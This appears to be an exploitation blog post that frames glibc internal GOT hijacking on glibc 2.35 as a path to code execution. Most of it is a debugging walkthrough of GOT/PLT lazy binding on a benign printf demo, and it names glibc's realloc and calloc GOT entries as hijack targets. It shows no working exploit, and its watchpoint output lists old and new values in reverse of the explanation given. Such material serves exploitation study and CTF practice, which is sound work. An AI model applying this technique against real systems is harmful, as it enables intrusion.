TL;DR
In modern glibc, the days of leveraging our trusty primitives—like __[malloc|free]_hook
—for seamless arbitrary code execution are gone. But the game isn't over. We can still twist the IO internals to our advantage, a theme I've dissected in several prior exploits. This time, we pivot toward a fresh vector: manipulating the glibc GOT and PLT internals.
With glibc 2.34 and onward phasing out hook functions, our exploration takes us into the evolving terrain of glibc 2.35 and beyond. Notably, 2.36 introduces a non-writable area on top of the GOT table, and 2.38 restricts read-only permission to kill the exploit — while 2.35 remains writable, offering a fleeting window for exploitation.
This isn't another ret2plt detour—no reliance on incomplete RELROs or tampering with the binary's own GOT/PLT. Instead, we descend deeper: into the guts of glibc itself, targeting its internal GOT in a more surgical, low-level fashion.
Dive into GOT
Before embarking on the journey of compromising the GOT, it's essential to clarify a foundational truth: both the ELF executable and glibc (libc.so.6
) maintain their own independent Global Offset Tables (GOT) and the Procedure Linkage Tables (PLT)—for all dynamically linked binaries, including the loader(ld.so
) itself.
Despite residing in separate objects, these GOTs follow the same underlying mechanism for resolving function addresses at runtime.
Our objective is to achieve a comprehensive grasp of the GOT–PLT architecture—how they collaborate, how relocations work, and how control flow is dynamically patched—through a methodical, hands-on, emprical go through in the following sections.
GOT/PLT Workflow
Overview
To exploit dynamically linked binaries effectively, one must internalize the mechanics behind the Global Offset Table (GOT) and the Procedure Linkage Table (PLT)—cornerstones of runtime function resolution in ELF binaries.
Key principles include:
Name | Type | Role | Data Type |
---|---|---|---|
.got | Section | General Global Offset Table (addresses for global variables, some functions) | Data |
.got.plt | Section | Special GOT part reserved for PLT-resolved function addresses | Data |
.plt | Section | Stubs (tiny functions) that perform indirect jumps using GOT entries | Code (executable) |
_GLOBAL_OFFSET_TABLE_ | Symbol | Label pointing to the start of GOT (often inside .got.plt ) | Data |
Iniside each .got
(.plt
) section, there're GOT0 (PLT0) and GOT entries (PLT entries). We will see how they cooperate in the following demonstration.
Demo Code
In the following sections, we'll unravel the inner workings of this mechanism by walking through a minimalist demo that invokes an external glibc symbol—printf
:
/* demo.c
* Debugging compile: gcc -g -no-pie -fno-PIE -O0 -o demo demo.c
*/
#include <stdio.h>
int main() {
int n = 0xdeadbeef;
printf("%d\n", n);
return 0;
}
To maximize visibility during debugging, we disable both PIE and compiler optimizations, ensuring static code layout. Additionally, I recommend disabling ASLR system-wide to maintain address consistency across runs.
Observe ELF Sections
Dump all ELF sections of the binary with readelf -S
:
$ readelf -S demo
There are 36 section headers, starting at offset 0x57a8:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .note.gnu.pr[...] NOTE 00000000003fe388 00000388
0000000000000040 0000000000000000 A 0 0 8
[ 2] .note.gnu.bu[...] NOTE 00000000003fe3c8 000003c8
0000000000000024 0000000000000000 A 0 0 4
[ 3] .interp PROGBITS 00000000003fe3f0 000003f0
000000000000001c 0000000000000000 A 0 0 8
[ 4] .gnu.hash GNU_HASH 00000000003fe410 00000410
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000003fe430 00000430
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 00000000003fe4c0 000004c0
000000000000009d 0000000000000000 A 0 0 8
[ 7] .dynamic DYNAMIC 00000000003fe560 00000560
00000000000001e0 0000000000000010 WA 6 0 8
[ 8] .gnu.version VERSYM 0000000000400500 00002500
000000000000000c 0000000000000002 A 5 0 2
[ 9] .gnu.version_r VERNEED 0000000000400510 00002510
0000000000000030 0000000000000000 A 6 1 8
[10] .rela.dyn RELA 0000000000400540 00002540
0000000000000060 0000000000000018 A 5 0 8
[11] .rela.plt RELA 00000000004005a0 000025a0
0000000000000018 0000000000000018 AI 5 23 8
[12] .init PROGBITS 0000000000401000 00003000
000000000000001b 0000000000000000 AX 0 0 4
[13] .plt PROGBITS 0000000000401020 00003020
0000000000000020 0000000000000010 AX 0 0 16
[14] .text PROGBITS 0000000000401040 00003040
0000000000000110 0000000000000000 AX 0 0 16
[15] .fini PROGBITS 0000000000401150 00003150
000000000000000d 0000000000000000 AX 0 0 4
[16] .rodata PROGBITS 0000000000402000 00004000
0000000000000008 0000000000000000 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0000000000402008 00004008
000000000000002c 0000000000000000 A 0 0 4
[18] .eh_frame PROGBITS 0000000000402038 00004038
000000000000008c 0000000000000000 A 0 0 8
[19] .note.ABI-tag NOTE 00000000004020c4 000040c4
0000000000000020 0000000000000000 A 0 0 4
[20] .init_array INIT_ARRAY 0000000000403de8 00004de8
0000000000000008 0000000000000008 WA 0 0 8
[21] .fini_array FINI_ARRAY 0000000000403df0 00004df0
0000000000000008 0000000000000008 WA 0 0 8
[22] .got PROGBITS 0000000000403fc8 00004fc8
0000000000000020 0000000000000008 WA 0 0 8
[23] .got.plt PROGBITS 0000000000403fe8 00004fe8
0000000000000020 0000000000000008 WA 0 0 8
[24] .data PROGBITS 0000000000404008 00005008
0000000000000010 0000000000000000 WA 0 0 8
[25] .bss NOBITS 0000000000404018 00005018
0000000000000008 0000000000000000 WA 0 0 1
[26] .comment PROGBITS 0000000000000000 00005018
000000000000001b 0000000000000001 MS 0 0 1
[27] .debug_aranges PROGBITS 0000000000000000 00005033
0000000000000030 0000000000000000 0 0 1
[28] .debug_info PROGBITS 0000000000000000 00005063
00000000000000bd 0000000000000000 0 0 1
[29] .debug_abbrev PROGBITS 0000000000000000 00005120
0000000000000087 0000000000000000 0 0 1
[30] .debug_line PROGBITS 0000000000000000 000051a7
000000000000005f 0000000000000000 0 0 1
[31] .debug_str PROGBITS 0000000000000000 00005206
0000000000000097 0000000000000001 MS 0 0 1
[32] .debug_line_str PROGBITS 0000000000000000 0000529d
0000000000000038 0000000000000001 MS 0 0 1
[33] .symtab SYMTAB 0000000000000000 000052d8
0000000000000240 0000000000000018 34 6 8
[34] .strtab STRTAB 0000000000000000 00005518
0000000000000125 0000000000000000 0 0 1
[35] .shstrtab STRTAB 0000000000000000 0000563d
0000000000000166 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
All ELF sections are kept visible during the analysis to maintain clarity on their layout and positioning. This visibility allows us to pinpoint where each segment resides in memory and understand how they interplay during execution.
For this exploration, we narrow our focus to the following segments of interest:
Section | Address | Size | Flags | Meaning |
---|---|---|---|---|
.plt | 0x401020 | 0x20 | AX | Code stubs for dynamic calls (Procedure Linkage Table) |
.got | 0x403fc8 | 0x20 | WA | Global Offset Table for general variables/functions |
.got.plt | 0x403fe8 | 0x20 | WA | GOT entries used specifically by .plt |
And we notice:
.plt
is executable (AX
flags)..got
and.got.plt
are writable (WA
flags).- So GOT and GOT.PLT can be overwritten unless protected (e.g., RELRO).
Dump Relocations
We can just print relocation entries (dynamic linking points) with readelf -r
:
$ readelf -r demo
Relocation section '.rela.dyn' at offset 0x2540 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000403fc8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fd0 000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTM[...] + 0
000000403fd8 000400000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403fe0 000500000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0x25a0 contains 1 entry:
Offset Info Type Sym. Value Sym. Name + Addend
000000404000 000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
There are two sections here:
.rela.dyn
— generic relocations (for things like__libc_start_main
, internal libs)..rela.plt
— relocations for PLT calls (external function calls likeprintf
).
In our exploit, we would focus on the dumped .rela.plt
:
Offset | Info | Type |
---|---|---|
0x404000 | type 7 = JUMP_SLOT | printf@GLIBC_2.2.5 |
This entry tells the dynamic linker:
- At offset
0x404000
, patch a function pointer. - It's a JUMP_SLOT relocation, used for lazy binding—typical for external calls like
printf
. - The symbol in question is
printf
, bound to version GLIBC_2.2.5.
In essence, this means the GOT entry at 0x404000
will initially point to a PLT stub. Upon first execution, it's dynamically resolved to the actual printf
address in glibc and overwritten.
PLT is mapped inside the RX
page, which means it contains nothing but assembly codes (instructions). So, we can disassemble the .plt
section for further inspection in the following illustration.
PLT
Disassemble the .plt
section using Intel syntax (objdump -S --disassembler-options=intel
):
$ objdump -S --disassembler-options=intel demo
[...]
Disassembly of section .plt:
0000000000401020 <printf@plt-0x10>:
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000401030 <printf@plt>:
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <printf@GLIBC_2.2.5>
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
Disassembly of section .text:
[...]
These are the static PLT sections before relocation.
On x86-64 architecture, most memory access is relative to the instruction pointer (
rip
).Instead of hardcoding an absolute address, it computes:
[rip + offset]
Where:
rip
= address of next instruction (current pc + instruction length
)offset
= signed immediate displacement added torip
.This is mandatory for position-independent or relocatable code. Even though we used
-no-pie
, the compiler still uses this form here.So the offsets are correct in the disassemble output. For example,
[rip+0x2fca]
refers to<_GLOBAL_OFFSET_TABLE_+0x8>
, and it adds the instruction length (6
) along with the next referencing[rip+0x2fcc]
(extra2
) — targets<_GLOBAL_OFFSET_TABLE_+0x10>
(distance8
).
1. PLT Entry
We can first take a look at the 2nd block, which refers to the PLT entry on .text
section:
0000000000401030 <printf@plt>:
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <printf@GLIBC_2.2.5>
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
jmp [rip+offset]
:- Jump to
.got.plt
entry (at0x404000
) forprintf
.
- Jump to
- If not resolved yet:
- But, its GOT entry (
404000
) initially points back to the next following instruction back inside.plt
—the PLT stub (401036
), which executes:push 0x0
→ push relocation slot index 0 (forprintf
) to stack.jmp 0x401020
→ jump to PLT0 (resolver).
- But, its GOT entry (
- If resolved already:
.got.plt
entry points directly toprintf
in libc, no resolver needed.
This is a lazy binding mechanism:
- First call goes through PLT0.
- Dynamic linker patches
.got.plt
. - Next call goes directly to libc.
2. PLT0
The 1st block is the mentioned PLT0 — the dynamic resolver stub:
0000000000401020 <printf@plt-0x10>:
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
push [rip+offset]
: push the address stored at_GLOBAL_OFFSET_TABLE_ + 0x8
(argument for resolver) onto the stack.jmp [rip+offset]
: jump to the address stored at_GLOBAL_OFFSET_TABLE_ + 0x10
(runtime resolver).nop
: just padding (do nothing).
It is used when the GOT entry is not yet patched.
GOT
_GLOBAL_OFFSET_TABLE_
In the earlier section, we encountered _GLOBAL_OFFSET_TABLE_
—a pivotal player revealed inside PLT0, especially when the GOT entry remains unpatched. It acts as a symbolic anchor, pointing to the start of the GOT region, which encompasses the .got.plt
section:
_GLOBAL_OFFSET_TABLE_
(GOT) is a symbol that marks the beginning of the GOT-related memory space.- The first
0x18
bytes refer to the so called GOT0, which includes:- Flags
- A pointer to an argument list for the runtime resolver
- The runtime resolver function pointer calling the loader (
ld.so
)
- After GOT0, it's the
.got.plt
section, which is reserved for storing real pointers (addresses) of the called functions, or pointing to PLT stubs when they're not resolved during lazy resolution.
In ELF binaries, this symbol serves as a fixed reference to the base of the GOT. Here's an abstract layout of the _GLOBAL_OFFSET_TABLE_
region:
Offset | Usage | Belongs to |
---|---|---|
+0x0 | Flags | GOT0 |
+0x8 | Resolver metadata, typically a pointer to arguments for the resolver | GOT0 |
+0x10 | Address of dl_runtime_resolve | GOT0 |
+0x18 | First function GOT entry (e.g., printf@got / strnlen@got) | .got.plt |
+0x20 | Next function GOT entry | .got.plt |
... | ... |
1. GOT0
The first few slots (resolver stuff) are the so called GOT0. They are needed for lazy binding, while the rest are for individual dynamic symbols (printf
, puts
, etc.)
_GLOBAL_OFFSET_TABLE_
is automatically created by the linker for any ELF using the PLT/GOT mechanism.We can inspect the symbols of an ELF using
realelf -s
:$ readelf -s ./demo Symbol table '.dynsym' contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (2) 2: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (3) 4: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 5: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...] Symbol table '.symtab' contains 24 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS demo.c 2: 0000000000000000 0 FILE LOCAL DEFAULT ABS 3: 0000000000403df8 0 OBJECT LOCAL DEFAULT 7 _DYNAMIC 4: 0000000000402008 0 NOTYPE LOCAL DEFAULT 17 __GNU_EH_FRAME_HDR 5: 0000000000403fe8 0 OBJECT LOCAL DEFAULT 23 _GLOBAL_OFFSET_TABLE_ 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...] 7: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] 8: 0000000000404008 0 NOTYPE WEAK DEFAULT 24 data_start 9: 0000000000404018 0 NOTYPE GLOBAL DEFAULT 24 _edata 10: 0000000000401150 0 FUNC GLOBAL HIDDEN 15 _fini 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 12: 0000000000404008 0 NOTYPE GLOBAL DEFAULT 24 __data_start 13: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 14: 0000000000404010 0 OBJECT GLOBAL HIDDEN 24 __dso_handle 15: 0000000000402000 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used 16: 0000000000404020 0 NOTYPE GLOBAL DEFAULT 25 _end 17: 0000000000401070 5 FUNC GLOBAL HIDDEN 14 _dl_relocate_sta[...] 18: 0000000000401040 38 FUNC GLOBAL DEFAULT 14 _start 19: 0000000000404018 0 NOTYPE GLOBAL DEFAULT 25 __bss_start 20: 0000000000401126 42 FUNC GLOBAL DEFAULT 14 main 21: 0000000000404018 0 OBJECT GLOBAL HIDDEN 24 __TMC_END__ 22: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...] 23: 0000000000401000 0 FUNC GLOBAL HIDDEN 12 _init
As aforementioned, we will find it in every dynamically linked ELF binary or shared object, including:
- main executable (e.g.,
./demo
)- shared libraries (e.g.,
libc.so.6
,libm.so.6
,libpthread.so.0
)- the dynamic linker itself (
ld.so
)
2. GOT Entries
The memory starting from _GLOBAL_OFFSET_TABLE_+0x18
lays with GOT entries, where the function pointer entries begin — that is, GOT entries for external (e.g., glibc) functions like:
Each entry contains an 8-byte pointer to the actual resolved address of the function, which:
- Initially points back to a PLT stub (for lazy binding)
- Later gets overwritten with the actual address of the libc function after the first call
These are the targets we need to hijack in the attack technique we are going to introduce in this post.
GOT in Glibc
Glibc itself uses a GOT/PLT mechanism internally, just like any dynamically linked executable. When glibc needs to call internal functions (like calloc
, realloc
), it uses its own PLT stubs and GOT entries, which can be patched lazily at runtime through dynamic relocation.
- For normal dynamically linked executables, GOT/PLT starts unpatched — lazy binding fills them when function is called.
- For
libc.so.6
itself, it is a shared object but when loaded by dynamic linker, some relocations are eagerly resolved depending on the binary's RELRO and NOW settings. - On some systems (especially modern Linux with full
RELRO
+NOW
), glibc's critical entries are eagerly resolved at loading time, NOT lazily — this means they will then be NOT writable since glibc 2.36+.- Glibc is loaded by
ld.so
with-z now
behavior (Full RELRO, immediate resolution). - Security reasons:
- Critical symbols like
calloc
,malloc
,free
,realloc
must be reliable very early. - Cannot afford lazy binding and potential GOT hijacking.
- Critical symbols like
ld.so
patches glibc's GOT before program starts execution.
- Glibc is loaded by
Anyway, libc.so.6
has a similar section layout as normal ELF:
$ readelf -S libc.so.6
There are 71 section headers, starting at offset 0xb12560:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[...]
[12] .plt PROGBITS 0000000000024000 00024000
00000000000003a0 0000000000000010 AX 0 0 16
[13] .plt.got PROGBITS 00000000000243a0 000243a0
0000000000000010 0000000000000008 AX 0 0 8
[...]
[27] .got PROGBITS 00000000001d8d60 001d7d60
0000000000000288 0000000000000008 WA 0 0 8
[28] .got.plt PROGBITS 00000000001d8fe8 001d7fe8
00000000000001e0 0000000000000008 WA 0 0 8
[...]
And again we can confirm the relocations with readelf -r
:
$ readelf -r /opt/glibc-2.41/lib/libc.so.6
Relocation section '.rela.dyn' at offset 0x224a8 contains 88 entries:
Offset Info Type Sym. Value Sym. Name + Addend
0000001d5d80 0aab00000001 R_X86_64_64 00000000001e1940 _res@GLIBC_2.2.5 + 0
0000001d8d60 000000000012 R_X86_64_TPOFF64 38
[...]
Relocation section '.rela.plt' at offset 0x22ce8 contains 57 entries:
Offset Info Type Sym. Value Sym. Name + Addend
0000001d9008 064900000007 R_X86_64_JUMP_SLO 000000000009c0d0 realloc@@GLIBC_2.2.5 + 24020
0000001d9028 09c000000007 R_X86_64_JUMP_SLO 000000000009c8c0 calloc@@GLIBC_2.2.5 + 24060
0000001d9068 000300000007 R_X86_64_JUMP_SLO 0000000000000000 _dl_find_dso_for_[...]@GLIBC_PRIVATE + 240e0
0000001d90a0 000500000007 R_X86_64_JUMP_SLO 0000000000000000 _dl_deallocate_tls@GLIBC_PRIVATE + 24150
0000001d90a8 000600000007 R_X86_64_JUMP_SLO 0000000000000000 __tls_get_addr@GLIBC_2.3 + 24160
[...]
Relocation section '.relr.dyn' at offset 0x23240 contains 34 entries which relocate 1092 locations:
Index: Entry Address Symbolic Address
0000: 00000000001d5d78 00000000001d5d78 .tdata
0001: 227000003fbf023d 00000000001d5d88 .tbss
00000000001d5d90 .tbss + 0x8
00000000001d5d98 .tbss + 0x10
00000000001d5da0 __dso_handle
00000000001d5dc0 _nl_C_LC_ADDRESS
[...]
.rela.plt
contains relocations specifically for PLT entries (function pointers). For example:
Offset | Relocation Type | Symbol |
---|---|---|
0x1d9008 | R_X86_64_JUMP_SLOT | realloc |
0x1d9028 | R_X86_64_JUMP_SLOT | calloc |
.rela.plt
is used to patch .got.plt
entries for lazy function calls.
Debugging
We now attach GDB to the binary compiled from our demo, with PIE disabled, optimizations stripped, and ASLR turned off on a glibc 2.41 Arch Linux system—ensuring a stable and observable memory layout.
Part 1 dissects the GOT context within the binary itself, mapping how its PLT stubs interact with GOT entries during resolution.
Part 2 descends deeper—into glibc's internal GOT, where a more surgical exploitation opportunity awaits.
Part 1
Disassemble the main()
function:
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000401126 <+0>: push rbp
0x0000000000401127 <+1>: mov rbp,rsp
0x000000000040112a <+4>: sub rsp,0x10
=> 0x000000000040112e <+8>: mov DWORD PTR [rbp-0x4],0xdeadbeef
0x0000000000401135 <+15>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401138 <+18>: mov esi,eax
0x000000000040113a <+20>: mov edi,0x402004
0x000000000040113f <+25>: mov eax,0x0
0x0000000000401144 <+30>: call 0x401030 <printf@plt>
0x0000000000401149 <+35>: mov eax,0x0
0x000000000040114e <+40>: leave
0x000000000040114f <+41>: ret
End of assembler dump.
At runtime, the call
at 0x401144
targets the PLT stub at 0x401030
, known as printf@plt
.
At compile-time and link-time, the actual address of
printf
in glibc is not yet known. So, the compiler flags it as an external symbol, and the linker redirects the call to a trampoline—printf@plt
—which handles resolution dynamically via the GOT/PLT mechanism.
Set a breakpoint at this call, stop to observe and disassembly printf@plt
:
pwndbg> disass 0x401030
Dump of assembler code for function printf@plt:
0x0000000000401030 <+0>: jmp QWORD PTR [rip+0x2fca] # 0x404000 <printf@got[plt]>
0x0000000000401036 <+6>: push 0x0
0x000000000040103b <+11>: jmp 0x401020
End of assembler dump.
This matches the standard PLT stub structure, which we just introduced in previous section.
Every
.plt
entry (likeprintf@plt
) is structured to fallback to PLT0 if.got.plt
entry still points back into the PLT area (not yet patched to real libc).
.plt
positions on the.text
section, which means it contains some code context:pwndbg> xinfo 0x401030 Extended information for virtual address 0x401030: Containing mapping: 0x401000 0x402000 r-xp 1000 3000 /home/Axura/pwn/poc/pwn_got/demo Containing ELF sections: .plt 0x401030 = 0x401020 + 0x10
Before resolving the function call, we can stay here to observe .got.plt
to see whether the function pointer has been patched or not yet:
Find
.got.plt
address:pwndbg> got /home/Axura/pwn/poc/pwn_got/demo: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000403fc8 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.34 0000000000403fd0 R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable@Base 0000000000403fd8 R_X86_64_GLOB_DAT __gmon_start__@Base 0000000000403fe0 R_X86_64_GLOB_DAT _ITM_registerTMCloneTable@Base 0000000000404000 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0x404000
is the GOT entry forprintf
, which belongs to.got.plt
. Initially (before resolved), it points back to inside.plt
:pwndbg> x/gx 0x404000 0x404000 <printf@got[plt]>: 0x0000000000401036 pwndbg> x/gx 0x401036 0x401036 <printf@plt+6>: 0xffe0e90000000068 pwndbg> x/gx '[email protected]' 0x401036 <printf@plt+6>: 0xffe0e90000000068 pwndbg> x/2i '[email protected]' 0x401036 <printf@plt+6>: push 0x0 0x40103b <printf@plt+11>: jmp 0x401020
This indicates that the GOT entry for
printf
remains unpatched—still in its pre-resolution state.At this point, it does not point to the actual
printf
in glibc, but instead loops back to the second instruction of the PLT stub. That stub prepares the stack and invokes PLT0, which ultimately calls the dynamic linker (ld.so
) to resolve the real address.
So now, let's we continue to step in and analyze the call to printf@plt
(at 0x401030
):
► 0x401030 <printf@plt> jmp qword ptr [rip + 0x2fca] <printf@plt+6>
↓
0x401036 <printf@plt+6> push 0
0x40103b <printf@plt+11> jmp 0x401020 <0x401020>
First, we jmp to the memory address stored at [rip+0x2fca]
, which is .got.plt
(GOT entry) for printf
. Since the current value at 0x404000
is 0x401036
, we jump back into the second instruction of printf@plt
itself.
And there, we push relocation index 0 onto the stack — this number tells the dynamic linker which symbol to resolve (in our case, 0x0
= the 0-th relocation entry, which corresponds to printf
).
Next, execution lands on the final instruction of the PLT stub—a jump into PLT0 at 0x401020
, the shared resolver stub used for all unresolved external symbols. This is where lazy-binding transitions into full dynamic resolution.
Let's step into 0x401020
, where PLT0 begins:
0x401030 <printf@plt> jmp qword ptr [rip + 0x2fca] <printf@plt+6>
↓
0x401036 <printf@plt+6> push 0
0x40103b <printf@plt+11> jmp 0x401020 <0x401020>
↓
► 0x401020 push qword ptr [rip + 0x2fca]
0x401026 jmp qword ptr [rip + 0x2fcc] <0x7ffff7fd8c60>
The first push populates another value related to the .dynamic
section metadata ([rip + 0x2fca]
= _GLOBAL_OFFSET_TABLE_ + 8
) on the stack; the second jmp jumps into the dynamic linker (ld.so
), now specifically ld.so
runtime resolver code (at [rip + 0x2fcc]
= _GLOBAL_OFFSET_TABLE_ + 0x10
).
We can inspect
_GLOBAL_OFFSET_TABLE_
in GDB to clearly understand the concept:pwndbg> info variables _GLOBAL_OFFSET_TABLE_ All variables matching regular expression "_GLOBAL_OFFSET_TABLE_": Non-debugging symbols: 0x0000000000403fe8 _GLOBAL_OFFSET_TABLE_ 0x00007ffff7fadfe8 _GLOBAL_OFFSET_TABLE_
The first
_GLOBAL_OFFSET_TABLE_
belongs to our binary (demo
), and the second resides in glibc (libc.so.6
). Both maintain structurally similar GOT layouts, yet serve different scopes—their entries reside in distinct memory mappings, each resolved within its own context.Inspecting the binary's GOT:
pwndbg> vmmap 0x403fe8 Start End Perm Size Offset File 0x402000 0x403000 r--p 1000 4000 /home/Axura/pwn/poc/pwn_got/demo ► 0x403000 0x404000 r--p 1000 4000 /home/Axura/pwn/poc/pwn_got/demo +0xfe8 0x404000 0x405000 rw-p 1000 5000 /home/Axura/pwn/poc/pwn_got/demo pwndbg> tel 0x403fe8 00:0000│ 0x403fe8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403df8 ◂— 0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ') 01:0008│ 0x403ff0 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe310 ◂— 0 02:0010│ 0x403ff8 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8c60 ◂— endbr64 03:0018│ 0x404000 (printf@got[plt]) —▸ 0x401036 (printf@plt+6) ◂— push 0 /* 'h' */ 04:0020│ 0x404008 (data_start) ◂— 0 [...]
_GLOBAL_OFFSET_TABLE_+16
is hardcoded to jump into the dynamic resolverdl_runtime_resolve
(0x7ffff7fd8c60
).Looking at glibc's counterpart:
pwndbg> vmmap 0x00007ffff7fadfe8 Start End Perm Size Offset File 0x7ffff7f53000 0x7ffff7faa000 r--p 57000 17e000 /opt/glibc-2.41/lib/libc.so.6 ► 0x7ffff7faa000 0x7ffff7fae000 r--p 4000 1d4000 /opt/glibc-2.41/lib/libc.so.6 +0x3fe8 0x7ffff7fae000 0x7ffff7fb0000 rw-p 2000 1d8000 /opt/glibc-2.41/lib/libc.so.6 pwndbg> tel 0x00007ffff7fadfe8 00:0000│ 0x7ffff7fadfe8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d8b40 01:0008│ 0x7ffff7fadff0 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbe090 —▸ 0x7ffff7dd5000 ◂— 0x3010102464c457f 02:0010│ 0x7ffff7fadff8 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8c60 ◂— endbr64 03:0018│ 0x7ffff7fae000 (*ABS*@got.plt) —▸ 0x7ffff7f2f8e0 (__strnlen_avx2) ◂— test rsi, rsi [...]
Just like the binary, glibc itself has its own GOT and PLT. And again, both rely on the same
dl_runtime_resolve
, indicating that the resolution logic is centralized, even if GOT entries are scoped per object.They both connect to the same resolver backend (
0x7ffff7fd8c60
), offering a unified exploit target inld.so
Since the call is made to printf
, the resolution process consults the binary's own _GLOBAL_OFFSET_TABLE_
—not glibc's in this part.
The 1st push references from _GLOBAL_OFFSET_TABLE_+8
as an argument, and the 2nd jmp redirects the execution flow to _GLOBAL_OFFSET_TABLE_+0x10
:
0x401030 <printf@plt> jmp qword ptr [rip + 0x2fca] <printf@plt+6>
↓
0x401036 <printf@plt+6> push 0
0x40103b <printf@plt+11> jmp 0x401020 <0x401020>
↓
0x401020 push qword ptr [rip + 0x2fca]
0x401026 jmp qword ptr [rip + 0x2fcc] <0x7ffff7fd8c60>
↓
► 0x7ffff7fd8c60 endbr64
0x7ffff7fd8c64 push rbx
0x7ffff7fd8c65 mov rbx, rsp RBX => 0x7fffffffd640 —▸ 0x7fffffffd788 —▸ 0x7fffffffdbe6 ◂— ...
This is the runtime resolver (ld.so
resolver stub).
This address
0x7ffff7fd8c60
is the runtime PLT resolver entry insideld.so
from glibc, accessing to_rtld_global_ro
, a linker internal structure:pwndbg> vmmap 0x7ffff7fd8c60 Start End Perm Size Offset File 0x7ffff7fc6000 0x7ffff7fc7000 r--p 1000 0 /usr/lib/ld-linux-x86-64.so.2 ► 0x7ffff7fc7000 0x7ffff7ff0000 r-xp 29000 1000 /usr/lib/ld-linux-x86-64.so.2 +0x11c60 0x7ffff7ff0000 0x7ffff7ffb000 r--p b000 2a000 /usr/lib/ld-linux-x86-64.so.2 pwndbg> x/10i 0x7ffff7fd8c60 0x7ffff7fd8c60: endbr64 0x7ffff7fd8c64: push rbx 0x7ffff7fd8c65: mov rbx,rsp 0x7ffff7fd8c68: and rsp,0xffffffffffffffc0 0x7ffff7fd8c6c: sub rsp,QWORD PTR [rip+0x23fdd] # 0x7ffff7ffcc50 <_rtld_global_ro+464> 0x7ffff7fd8c73: mov QWORD PTR [rsp],rax 0x7ffff7fd8c77: mov QWORD PTR [rsp+0x8],rcx 0x7ffff7fd8c7c: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7fd8c81: mov QWORD PTR [rsp+0x18],rsi 0x7ffff7fd8c86: mov QWORD PTR [rsp+0x20],rdi
We will not dive into the full internal details of how the dynamic resolver works in this post. Instead, we focus on understanding the important observable effect:
In our case, the resolver updates the GOT entry for
printf
, so that future calls go directly to the realprintf
function in libc.
Here, we set a watchpoint monitoring the printf
GOT entry (0x404000
):
pwndbg> watch *0x404000
Hardware watchpoint 3: *0x404000
Now we continue the program, until it's paused when the memory at that watchpoint address is modified:
pwndbg> c
Hardware watchpoint 3: *0x404000
Old value = -136145584
New value = 4198454
- Old value
0x401036
→ points back into PLT stub (printf@plt+6
). - New value
0x7ffff7e29550
(-136145584
) → points to the actualprintf()
implementation inside libc.
